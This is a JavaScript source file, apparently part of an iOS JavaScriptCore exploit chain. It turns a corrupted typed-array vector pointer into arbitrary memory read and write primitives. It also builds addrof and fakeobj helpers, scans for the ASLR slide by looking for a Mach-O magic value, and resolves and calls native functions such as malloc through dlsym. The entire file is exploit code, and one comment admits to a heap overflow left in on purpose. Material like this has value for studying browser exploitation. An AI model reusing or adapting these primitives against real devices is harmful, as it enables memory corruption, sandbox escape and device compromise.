1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
|
var shit_status = 0x144444;
var global_sptr_addy = 0;
var VECTOR_OFFSET = 0x10;
var fancy_rw = false;
var sptr_size = 0;
var sptr_len = 0;
/*
* read uint8_t
*/
function read_u8(addy) {
if (fancy_rw) {
return parent[addy];
}
u8x4 = u32_to_u8x4(addy);
/*
* `parent` is a Uint8Array of length 0x100.
* `child` is also a Uint8Array of length 0x100.
* `parent`'s `vector`, its pointer to where its data is stored, has been
* modified to point to the `child` object in memory.
* as such, accessing `parent` will allow for modifying the `child` object.
*
* the way this is used is by writing to `child`'s `vector` so it points to
* arbitrary memory. then, we can access `child`, and we now have arbitrary
* r/w
*/
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return child[0];
}
/*
* read uint16_t
*/
function read_u16(addy) {
if (fancy_rw) {
return u8x2_to_u16([parent[addy], parent[addy + 1]]);
}
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return u8x2_to_u16(child);
}
/*
* read uint32_t
*/
function read_u32(addy) {
if (fancy_rw) {
return u8x4_to_u32([parent[addy], parent[addy + 1], parent[addy + 2], parent[addy + 3]]);
}
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
return u8x4_to_u32(child);
}
/*
* read a buffer
*/
function read_buf(addy, len) {
var buf = new Uint8Array(len);
for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
buf[cur_addy - addy] = read_u8(cur_addy);
}
return buf;
}
/*
* write a buffer
*/
function write_buf(addy, buf, len) {
for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
write_u8(cur_addy, buf[cur_addy - addy]);
}
return buf;
}
function write_u32_buf(addy, buf, len) {
for (cur_addy = addy; cur_addy < (addy + len); cur_addy += 4) {
write_u32(cur_addy, buf[(cur_addy - addy) / 4]);
}
return buf;
}
function fast_write_buf(addy, buf) {
var upper_i = Math.ceil(buf.length / 0x100);
for (var i = 0; i < upper_i; i++) {
u8x4 = u32_to_u8x4(addy + (i * 0x100));
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
for (var j = (i * 0x100); (j < (i * 0x100) + 0x100) && (j < buf.length); j++) {
child[j % 0x100] = buf[j];
}
}
}
/*
* write uint8_t
*/
function write_u8(addy, what) {
if (fancy_rw) {
parent[addy] = what;
return;
}
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
child[0] = what;
}
/*
* write uint16_t
*/
function write_u16(addy, what) {
if (fancy_rw) {
parent[addy] = what & 0xff;
parent[addy + 1] = (what >> 8) & 0xff;
return;
}
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
u8x2 = u16_to_u8x2(what);
child[0] = u8x2[0];
child[1] = u8x2[1];
}
/*
* write uint32_t
*/
function write_u32(addy, what) {
if (fancy_rw) {
parent[addy] = what & 0xff;
parent[addy + 1] = (what >> 8) & 0xff;
parent[addy + 2] = (what >> 16) & 0xff;
parent[addy + 3] = (what >> 24) & 0xff;
return;
}
u8x4 = u32_to_u8x4(addy);
parent[VECTOR_OFFSET + 0x0] = u8x4[0];
parent[VECTOR_OFFSET + 0x1] = u8x4[1];
parent[VECTOR_OFFSET + 0x2] = u8x4[2];
parent[VECTOR_OFFSET + 0x3] = u8x4[3];
u8x4 = u32_to_u8x4(what);
child[0] = u8x4[0];
child[1] = u8x4[1];
child[2] = u8x4[2];
child[3] = u8x4[3];
}
/*
* get process slide
*/
function get_our_slide() {
for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
return slide;
}
}
}
/*
* write str to addy
*/
function write_str(addy, s) {
for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
}
return s;
}
/*
* initialize sptr 'heap', which is used to store the strings created by sptr.
*/
function init_sptr_heap() {
/*
* this creates a "heap" of-sorts for sptr, which is used to store the
* strings created by sptr.
*/
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
write_str(0x150000, "malloc\0");
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0);
sptr_size = 0x1000000;
sptr_len = 0;
calls4arg("printf\0", sptr("sptr_heap=%p\n"), global_sptr_addy, 0, 0);
return global_sptr_addy;
}
/*
* _sptr is meant to give you a pointer to a specified string
* remember your nul's!
*/
function _sptr(s) {
if ((sptr_len + s.length) >= sptr_size) {
/*
* expand sptr heap if it's too small
* this will technically fail if the string is over 1MB, and will then
* cause a heap overflow, but eh whatever
*
* sometimes it's fun to include esoteric bugs that are unlikely to
* cause real harm, to add an exploitation challenge. :P
*/
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
write_str(0x150000, "realloc\0");
sptr_size += 0x100000;
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size, 0, 0);
}
write_str(global_sptr_addy, s);
global_sptr_addy += s.length;
return global_sptr_addy - s.length;
}
/*
* sptr but with nul
*/
function sptr(s) {
return _sptr(s + "\0");
}
var string_ref;
var global_object;
var jsobj_addr;
var large_buf = new Uint32Array(0x100000);
var large_buf_ptr = 0;
function prep_shit() {
string_ref = scall("JSStringCreateWithUTF8CString", "victim");
global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
large_buf_ptr = leak_vec(large_buf);
}
function addrof(obj) {
victim.target = obj;
return read_u32(jsobj_addr + 0x18);
}
// broken
function fakeobj(addy) {
var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
printf("YOLO\n");
printf("1 %x\n", read_u32(jsobj_addr + 0x18));
victim.target = 13.37;
printf("2 %x\n", read_u32(jsobj_addr + 0x18));
write_u32(jsobj_addr + 0x18, addy);
printf("3 %x\n", read_u32(jsobj_addr + 0x18));
return victim.target;
}
function leak_vec(arr) {
var addy = addrof(arr);
printf("%x\n", addy);
return read_u32(addy + VECTOR_OFFSET);
}
function setup_fancy_rw() {
write_u32(0x422294, 0xffffffff);
write_u32(0x422290, 0x0);
fancy_rw = true;
printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]]));
}
|